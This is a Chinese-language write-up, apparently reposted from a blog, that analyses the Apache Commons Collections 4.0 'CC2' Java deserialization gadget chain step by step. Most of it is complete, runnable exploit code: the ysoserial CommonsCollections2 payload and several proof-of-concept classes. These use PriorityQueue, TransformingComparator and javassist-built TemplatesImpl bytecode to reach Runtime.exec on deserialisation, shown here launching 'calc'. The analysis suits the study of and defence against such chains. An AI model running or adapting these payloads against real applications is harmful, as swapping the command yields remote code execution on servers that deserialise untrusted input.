ysoserial Commons Collections2反序列化研究

Apache Commons Collections2反序列化研究

環境準備

  • JDK 1.7
  • Commons Collections 4.0
  • javassit

前置知識

PriorityQueue()           
	使用默認的初始容量(11)建立一個 PriorityQueue,並根據其天然順序對元素進行排序。
PriorityQueue(int initialCapacity)
	使用指定的初始容量建立一個 PriorityQueue,並根據其天然順序對元素進行排序。

常見的方法:html

add(E e)           			將指定的元素插入此優先級隊列
clear()            			今後優先級隊列中移除全部元素。
comparator()       			返回用來對此隊列中的元素進行排序的比較器;若是此隊列根據其元素的天然順序進行排序,則返回 null
contains(Object o)          若是此隊列包含指定的元素,則返回 true。
iterator()           		返回在此隊列中的元素上進行迭代的迭代器。
offer(E e)           		將指定的元素插入此優先級隊列
peek()           			獲取但不移除此隊列的頭;若是此隊列爲空,則返回 null。
poll()           			獲取並移除此隊列的頭,若是此隊列爲空,則返回 null。
remove(Object o)           	今後隊列中移除指定元素的單個實例(若是存在)。
size()           			返回此 collection 中的元素數。
toArray()          			返回一個包含此隊列全部元素的數組。

getDeclaredField是class超類的一個方法。該方法用來獲取類中或接口中已經存在的一個字段,也就是成員變量。返回的是一個field對象java

field 經常使用的方法apache

set 將指定對象參數上的此 Field對象表示的字段設置爲指定的新值

TransformingComparator是一個修飾器,和CC1中的ChainedTransformer相似。api

查看一下該類的compare方法,compare方法會去調用transformertransform方法,這不就是回到了cc1的反序列化鏈了嘛。
數組

漏洞分析

仍是先看調用鏈app

Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

能夠看到後面3個鏈和cc1是同樣的。那咱們只分析前半段就行了。dom

首先來看PriorityQueue#readObject(),這裏的queue[i]的值是由readObject獲得的,也就是說在writeObject處寫入了對應的內容:

也就是說咱們能夠經過反射來設置queue[i]的值來達到控制queue[i]內容的目的。

readobject中又調用了heapify方法,這裏的queue[i]是咱們可控的。heapify方法中又調用了siftDown方法,

siftdown中的的x是咱們可控的,跟入第一個siftDownUsingComparator:

comparator.compare(x, (E) c) 這裏的x是咱們可控的

cc2的gadget中使用了TransformingComparator#compare來觸發後續鏈,看一下這個方法,能夠發現,這裏對this.transformer調用了transform方法,若是這個this.transformer可控的話,就能夠觸發cc1中的後半段鏈。
函數

package ysoserial.payloads;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class TestCC2 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, new Object[]{"calc"})});
        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1);
        queue.add(1);
        queue.add(2);
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");//反射獲取PriorityQueue類的comparator字段
        field.setAccessible(true);
        field.set(queue,comparator);//queue的comparator字段值爲comparator
        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(queue);
            outputStream.close();
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

關於這兒要使用add添加2個值進去,目的是爲了讓其size>1,只有size>1才能使的i>0,才能進入siftDown這個方法中

而add方法中調用了offer方法this


offer中又調用了siftup方法code



這裏須要保證comparator的值爲null,纔可以正常的添加元素進queue,若是咱們在add以前使comparator爲咱們構造好的TransformingComparator,就會報這麼一個錯誤:

回到CC2的gadget的TemplatesImpl類,在newTransformer方法中調用了getTransletInstance方法

getTransletInstance方法中重點的是圈起來的兩行代碼

首先先跟進第一行代碼中的defineTransletClasses方法,這裏經過loader.defineClass的方式將bytecodes還原爲Class,


接着在外面又調用了_class[_transletIndex].newInstance方法實例化還原的Class,也就是說,咱們能夠經過TemplatesImpl#newTransformer方法來執行惡意類

import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.ClassLoader;
import java.lang.reflect.Field;
public class TestCC2 {
    public static void createPseson() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 建立 static 代碼塊,並插入代碼
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 寫入.class 文件
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
// 進入 defineTransletClasses() 方法須要的條件
        setFieldValue(templates, "_name", "name" + System.nanoTime());
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();
    }
    public static void main(String[] args) {
        try {
            createPseson();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

最後我理解的gadget鏈

ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

yso中cc2的gadget鏈

package ysoserial.payloads;

import java.util.PriorityQueue;
import java.util.Queue;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/*
	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
 */

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {

	public Queue<Object> getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);
		// mock method name until armed
		final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

		// create queue with numbers and basic comparator
		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
		// stub data for replacement later
		queue.add(1);
		queue.add(1);

		// switch method called by comparator
		Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

		// switch contents of queue
		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
		queueArray[0] = templates;
		queueArray[1] = 1;

		return queue;
	}

	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections2.class, args);
	}

}

其餘大哥的poc

package ysoserial.payloads;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class TestCC2test {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//返回默認的類池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路徑
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//建立一個新的public類
        payload.setSuperclass(classPool.get(AbstractTranslet));  //設置前面建立的CommonsCollections22222222222類的父類爲AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個空的類初始化,設置構造函數主體爲runtime

        byte[] bytes=payload.toBytecode();//轉換爲byte數組

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射建立TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射獲取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes字段設置爲runtime的byte數組

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//將templatesImpl上的_name字段設置爲test

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修飾器傳入transformer對象
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量建立一個 PriorityQueue,並根據其天然順序對元素進行排序。
        queue.add(1);//添加數字1插入此優先級隊列
        queue.add(1);//添加數字1插入此優先級隊列

        Field field2=queue.getClass().getDeclaredField("comparator");//獲取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(queue,comparator);//設置queue的comparator字段值爲comparator

        Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//設置queue的queue字段內容Object數組,內容爲templatesImpl

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

參考連接

相關文章
相關標籤/搜索